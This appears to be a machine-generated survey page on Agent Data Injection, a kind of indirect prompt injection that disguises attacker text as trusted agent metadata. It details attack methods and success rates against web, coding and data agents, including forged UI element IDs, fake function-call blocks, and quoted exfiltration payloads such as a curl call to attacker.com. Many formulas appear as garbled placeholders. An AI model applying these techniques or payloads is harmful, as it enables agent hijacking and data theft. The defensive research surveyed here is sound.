Papers
Topics
Authors
Recent
Search
2000 character limit reached

Agent Data Injection Attacks (ADI)

Updated 8 July 2026
  • Agent Data Injection Attacks (ADI) are a form of indirect prompt injection where adversaries insert malicious payloads into trusted metadata, causing AI agents to execute unintended actions.
  • Empirical evaluations across various agent types reveal that ADI exploits include probabilistic delimiter and structured template injections, often achieving high attack success rates despite traditional defenses.
  • Effective mitigation of ADI relies on architectural separation, provenance-aware control, and runtime enforcement to distinctly isolate trusted from untrusted data within agent systems.

Searching arXiv for papers on Agent Data Injection and related agent security work. Agent Data Injection Attacks (ADI) are attacks in which adversarial content enters an AI agent through the data channels that the agent ordinarily treats as evidence, metadata, or tool context, rather than through direct modification of the system or user instruction. Recent work sharpens ADI as a category of indirect prompt injection in which malicious data is disguised as trusted data—such as resource identifiers, data origins, or tool-call and response formats—so that agents execute unintended actions while appearing to follow the user’s request (Choi et al., 6 Jul 2026). Across web agents, coding agents, data agents, and MCP-connected agents, the literature suggests that the central failure mode is not merely instruction-following, but misclassification of untrusted external content as trusted agent context (Deng et al., 18 Feb 2026, Wang et al., 7 Jun 2026).

1. Formal definition and threat model

A common formalization decomposes the agent input into instructions II and agent data DD, with D=(Dt,Du)D = (D_t, D_u), where DtD_t denotes trusted data and DuD_u denotes untrusted data. Under a generic indirect prompt injection, the attacker appends malicious payload DaD_a to DuD_u, so the model receives LLM(I,(Dt,DuDa))\mathrm{LLM}(I,(D_t,D_u \Vert D_a)). Instruction injection aims for the model to behave approximately as if DaD_a had been appended to II, whereas ADI aims for the model to behave approximately as if DD0 had been appended to DD1:

DD2

In this formulation, the attacker does not want the model to treat the payload as a new instruction; the attacker wants it to treat the payload as new trusted metadata (Choi et al., 6 Jul 2026).

A broader agent formulation appears in work on structured template injection. If an agent DD3 receives user query DD4 and retrieved context DD5, then a benign execution is DD6. Under ADI, the adversary replaces DD7 with DD8, and the attack succeeds if DD9 and the output satisfies an adversary-chosen goal D=(Dt,Du)D = (D_t, D_u)0 (Deng et al., 18 Feb 2026).

Tool-using agent papers make the same point in sequential form. In AdapTools, an LLM-based agent D=(Dt,Du)D = (D_t, D_u)1 alternates between planning and execution over a trajectory

D=(Dt,Du)D = (D_t, D_u)2

and the attacker chooses a malicious tool D=(Dt,Du)D = (D_t, D_u)3 and adversarial prompt D=(Dt,Du)D = (D_t, D_u)4 to maximize

D=(Dt,Du)D = (D_t, D_u)5

This formalization makes explicit that ADI is often an attack on the observation channel rather than on the instruction channel (Wang et al., 24 Feb 2026).

2. Mechanisms of trusted-data corruption

The concrete mechanisms vary, but the literature repeatedly shows that ADI succeeds when agent-side structure is probabilistically or structurally reinterpreted. The following mechanisms recur across papers.

Mechanism Data reinterpreted as trusted Representative effect
Probabilistic delimiter injection Metadata fields or structural boundaries Fake element IDs, forged author metadata, fake tool-history blocks
Structured template injection Assistant, user, or tool role boundaries Role confusion
Adaptive tool-based injection Tool observations coherent with the current plan Next-step tool hijacking
Query or code injection through data assets SQL or Python emitted from retrieved data PII exfiltration or code execution
Tool-description poisoning Tool metadata Query-agnostic malicious command execution
Recursive component injection Completion messages with hidden runner lines Resource amplification and recursive execution

Structured Template Injection makes the mechanism especially explicit. Phantom models an adversarial template as D=(Dt,Du)D = (D_t, D_u)6, where D=(Dt,Du)D = (D_t, D_u)7 terminates a tool response, D=(Dt,Du)D = (D_t, D_u)8 forges an assistant reply, and D=(Dt,Du)D = (D_t, D_u)9 forges a user instruction. By inserting these delimiters into retrieved context, the attacker causes role confusion because the tokenizer treats chat-template separators as ordinary tokens mixed with retrieved data (Deng et al., 18 Feb 2026).

In data agents, ADI takes a data-grounded form. Malicious SQL fragments or executable code can be hidden in table cells, column comments, metadata fields, or uploaded files, then retrieved by the agent, incorporated into LLM context, and re-emitted as part of a new query or script. The paper on data agents characterizes this as a cross-boundary effect, “data DtD_t0 LLM context DtD_t1 generated SQL/Python DtD_t2 execution,” and maps it primarily to “V2. Lack of Data Source Verification” (Wang et al., 7 Jun 2026).

Coding-agent work shows that tool metadata are also injection surfaces. QueryIPI assumes an attacker can insert a malicious tool DtD_t3 into the tool set, with the tool description optimized against the leaked internal prompt DtD_t4 so that, for arbitrary user queries, the agent’s behavior includes a predetermined malicious action such as an execute_command call (Xie et al., 27 Oct 2025).

At the infrastructure level, Möbius Injection exploits what the authors call Semantic Closure. Injected components produce seemingly terminal “done” messages that secretly encode runner lines that trigger the next component, creating a cycle in the agent component graph and converting a single text fragment into sustained recursive execution (Liang et al., 12 May 2026).

3. Domain-specific instantiations

Web agents supply the most direct demonstrations of ADI against trusted metadata. One representative attack plants a fake UI snippet in a product review, such as a forged button "Read More" [ref_3], causing the LLM to issue left_click([ref_3]) while the agent resolves [ref_3] to the true internal map entry, for example a “Buy Now” button. The same paper reports arbitrary click attacks on Claude in Chrome, Antigravity, and Nanobrowser, and notes that ChatGPT Atlas evaded this attack by randomizing element IDs with unguessable nonces (Choi et al., 6 Jul 2026).

AdInject shows that web-environment injection does not require HTML control, user-intent knowledge, or model access. The attack uses Internet advertising delivery as the injection channel, constraining the adversary to static text, images, and ordinary links. Across VisualWebArena and OSWorld, the reported attack success rates exceed 60% in most scenarios and approach 100% in certain cases, which establishes advertising content as a practical vector for environment injection against web agents (Wang et al., 27 May 2025).

MUZZLE treats indirect prompt injection as an automated red-teaming problem. It identifies high-salience UI “vessels” from benign trajectories, inserts placeholders, probes how the payload appears in context, and iteratively refines attack content. In evaluation, it discovers 37 new attacks on 4 web applications with 10 adversarial objectives, including 2 cross-application prompt injection attacks and an agent-tailored phishing scenario (Syros et al., 9 Feb 2026).

Mobile and multimodal agents introduce additional surfaces. AEIA-MN exploits message notifications that can embed malicious instructions, occlude interactive elements, and arrive during reasoning latency. The paper reports that notifications can spatially occlude up to 13.4% of the screen, overlap with search bars in 92% of cases, and cover an average of 3.2 buttons, while the combined attack reaches a maximum attack success rate of 93% on AndroidWorld (Chen et al., 18 Feb 2025).

Coding agents are vulnerable both to metadata spoofing and to direct corruption of tool context. The ADI paper reports remote code execution and supply-chain attacks on Claude Code, Codex, and Gemini CLI. In one origin-injection example, a malicious GitHub comment forges maintainer metadata, leading the agent to execute pip install starship-auth; in a tool-history tampering example, a PR description injects fake <function_calls> and <function_results> blocks so that the agent believes read_pr_commit has already returned a safe diff and issues merge_PR("23") (Choi et al., 6 Jul 2026). QueryIPI extends this line by optimizing a malicious tool description against leaked internal prompts; the simulated attack reaches up to 87 percent success and transfers to real-world systems (Xie et al., 27 Oct 2025). Reverse-engineering agents are similarly exposed when decompiler output or extracted strings contain pseudo-system tokens and target-code payloads that alter the model’s description of the binary (Crawford et al., 29 May 2026).

Data agents add a database-centric variant. The data-agent study isolates two ADI techniques under the Hijack goal: “T1.1 Query Injection” and “T1.2 Code Injection.” Example payloads include column comments that append SELECT email,phone FROM customer_contacts; -- to a benign analytics query and JSON upload notes that insert Python such as os.system('curl http://attacker.com/steal');, thereby turning retrieved evidence into exfiltration or remote code execution (Wang et al., 7 Jun 2026).

4. Empirical evaluation and measured impact

The empirical record shows that ADI is neither confined to synthetic settings nor reducible to a narrow prompt-injection template. Evaluations span standalone LLM parsing tasks, integrated agent benchmarks, web environments, coding agents, and data-agent systems.

Study Setting Key result
Probabilistic delimiter benchmarks (Choi et al., 6 Jul 2026) Standalone LLMs on JSON and Web DOM Baseline JSON ASR = 31.3–43.3%; Web DOM ASR = 33.3–100.0%
Integrated agent evaluation (Choi et al., 6 Jul 2026) 96 user tasks, 935 instruction-injection tests, 108 ADI tests Instruction injection ASR 0–0.7%; ADI ASR up to 50%
AgentDyn (Li et al., 3 Feb 2026) 60 open-ended tasks, 560 injection test cases GPT-4o + Meta SecAlign: DtD_t5, DtD_t6; Tool Filter: DtD_t7, DtD_t8
Automated attack evaluation (Hofer et al., 9 Jun 2026) AgentDojo, Qwen 3-4B and GPT-5 Single-Task TAP DtD_t9 on Qwen; DuD_u0 on GPT-5

The ADI paper’s delimiter benchmarks establish several important regularities. The attack does not require exact delimiters: variants such as \$D_u$1: \$D_u$2 or stray < and > still achieve 35–43% on JSON, and “consistent” payloads substantially outperform inconsistent ones, at 43% versus approximately 20%. Randomization of field names or IDs drives JSON ASR to approximately 0% unless the nonce is guessed, while stripping quotes and brackets drives ASR near zero but reduces benign accuracy by 15–20% (Choi et al., 6 Jul 2026).

In integrated-agent experiments, the same paper reports a striking asymmetry: instruction injection was “virtually defeated by model hardening in all setups,” with ASR 0–0.7%, while ADI persisted with ASR up to 50%. Only CaMeL Strict reduced ADI ASR to 0%, but tasks completed correctly dropped from approximately 86% to approximately 36%. Randomization alone reduced ASR from 49.1% to 28.7% while preserving approximately 83% utility, and sandboxing with Progent reduced ASR to 22.2% at approximately 81% utility (Choi et al., 6 Jul 2026).

Adaptive attacks remain effective in settings where static prompt patterns are insufficient. AdapTools, evaluated on GPT-4.1, DeepSeek-R1, Gemini-2.5, Qwen3-8B, LLaMA3.1, and Mistral-8B over IPI-3K, InjectAgent, and AgentDojo, achieves on average 2.13 times higher ASR than the best baseline while degrading system utility by a factor of 1.78. The paper further reports that open-source models are even more vulnerable, with Mistral-8B reaching ASR up to 49.0%, and that under MELON and Pi-Detector defenses, baseline ASR drops by approximately 3 times while AdapTools ASR is only halved (Wang et al., 24 Feb 2026).

Data-agent evaluations confirm that data-grounded ADI is not merely theoretical. Over 300 tests, the study reports open-source ASR up to 68% for code injection. The table of results gives, for “T1.1 Query Injection,” ASR values of 24 for DataI, 48 for DB-GPT, 12 for DeepA, 36 for LAMBDA, 0 for Databricks, and 24 for BigQuery; for “T1.2 Code Injection,” it reports 68 for DataI, 16 for DB-GPT, 52 for DeepA, 40 for LAMBDA, and 0 for Databricks (Wang et al., 7 Jun 2026).

5. Defensive strategies

The literature converges on the view that ADI is best addressed by architectural separation, provenance-aware control, and runtime enforcement rather than by prompt-only filtering. The most explicit structural defense is OpenClaw’s privilege-separated two-agent pipeline. A Reader agent reads raw email but can only call store_summary; an Actor agent can call send_email, get_pending_summary, and store_result, but never sees raw email text. On the 649 LLMail-Inject attacks that succeeded against the single-agent baseline, agent isolation alone achieves 0.31 percent ASR, JSON formatting alone achieves 14.18 percent ASR, and the full pipeline achieves 0 percent attack success rate. The paper states the key guarantee in architectural terms: “the action agent never receives raw injection content regardless of model behavior on any individual input” (Cheng et al., 13 Mar 2026).

A second line of defense isolates trusted from untrusted data inside the agent context. The ADI paper argues for fine-grained data isolation, atomic-field provenance tags, and policies such as “no untrusted-labeled data may be used as an element ID, URL, command-name, or role indicator.” It also reports that randomization and nonces are lightweight and effective for structured key-value contexts, whereas generic sanitization can reduce ASR to near zero only at substantial utility cost (Choi et al., 6 Jul 2026).

Program-analysis approaches attempt to recover explicit control and data dependencies from the agent runtime. AgentArmor reconstructs traces into graph intermediate representations—CFG, DFG, and PDG—annotates nodes with confidentiality, integrity, and trust labels, and enforces information-flow constraints via a type system. On AgentDojo, it reports 95.75% TPR with 3.66% FPR, reducing ASR from 16.66% to 1.16% while lowering utility from 63.48% to 56.78% (Wang et al., 2 Aug 2025).

Component-level monitoring addresses recursive and infrastructure-oriented variants. ACE Analysis defines the energy of mutable components as

DuD_u3

with a flag raised when DuD_u4. On 200 replayed ADI traces, the reported detect-only mode achieves 93.5% detection with 0% false positives, and ACE quarantine suppresses all subsequent LLM calls while preserving utility (Liang et al., 12 May 2026).

For data agents, the recommended mitigations are classical database-security controls adapted to agent workflows: strong provenance checks for free-text fields and metadata, schema-bound access, prepared statements and parameterization, static analysis or grammar validation for suspicious tokens, least-privilege connections, persistent policy pinning, and sandboxing with runtime isolation (Wang et al., 7 Jun 2026). QueryIPI adds a complementary coding-agent perspective: prompt confidentiality, dynamic tool-description sanitization, and runtime policy enforcement around execute_command (Xie et al., 27 Oct 2025).

6. Relation to adjacent attack classes and unresolved issues

A persistent misconception is that ADI is simply another name for instruction injection. The recent ADI literature rejects that equivalence. Instruction injection seeks to make untrusted data behave like new instructions; ADI seeks to make untrusted data behave like new trusted metadata. The impact may be similar—misbehavior and unintended actions—but the exploited boundary is different, and the ADI paper argues that current agents do not isolate trusted data from untrusted data (Choi et al., 6 Jul 2026).

Benchmark design matters because static tasks can make weak defenses look strong. AgentDyn identifies three flaws in prior benchmarks: lack of dynamic open-ended tasks, lack of helpful instructions, and simplistic user tasks. Its evaluation of ten defenses suggests that “almost all existing defenses are either not secure enough or suffer from significant over-defense,” which is consistent with the broader empirical pattern that aggressive filtering often destroys utility while permissive designs leave trusted metadata exposed (Li et al., 3 Feb 2026).

The attack side is also evolving. Automated black-box optimization currently outperforms gradient-based methods in realistic agent settings: on AgentDojo, Single-Task TAP reaches approximately 44.6% ASR on Qwen 3-4B, whereas transfer from white-box GCG to frontier models such as GPT-5 is nearly zero; nonetheless, GPT-5 still shows a residual approximately 4.5–4.7% ASR under TAP (Hofer et al., 9 Jun 2026). Adaptive tool-aware attacks likewise remain effective under contemporary detectors, which suggests that defenses aimed only at static prompt patterns are structurally incomplete (Wang et al., 24 Feb 2026).

The term also overlaps with older false-data injection literatures outside LLM agents. In distributed resource allocation, an intelligent attacker injects false data into actuators and sensors so that agents deviate from the optimal allocation, and resilient extended-state observers are used to suppress the effect of the attack (Cai et al., 2022). In federated learning, malicious agents send adversarial model updates to shift the global model, and block-based median deviation tests can eventually isolate attackers with probability 1 under majority-honest assumptions (Shalom et al., 2023). This suggests that the contemporary ADI literature inherits the intuition of false-data injection—malicious manipulation of measurements or observations—but relocates it to the trust boundaries of agent context, tool metadata, and execution traces.

The main open problem is therefore architectural rather than lexical. The surveyed papers repeatedly indicate that reliable mitigation requires explicit provenance, privilege separation, and enforcement at the level where agents bind data to actions. A plausible implication is that future robust agent systems will need machine-checkable separation between trusted and untrusted context, rather than relying on the model to infer that separation from prompt wording alone.

Definition Search Book Streamline Icon: https://streamlinehq.com
References (16)

Topic to Video (Beta)

No one has generated a video about this topic yet.

Whiteboard

No one has generated a whiteboard explanation for this topic yet.

Follow Topic

Get notified by email when new papers are published related to Agent Data Injection Attacks (ADI).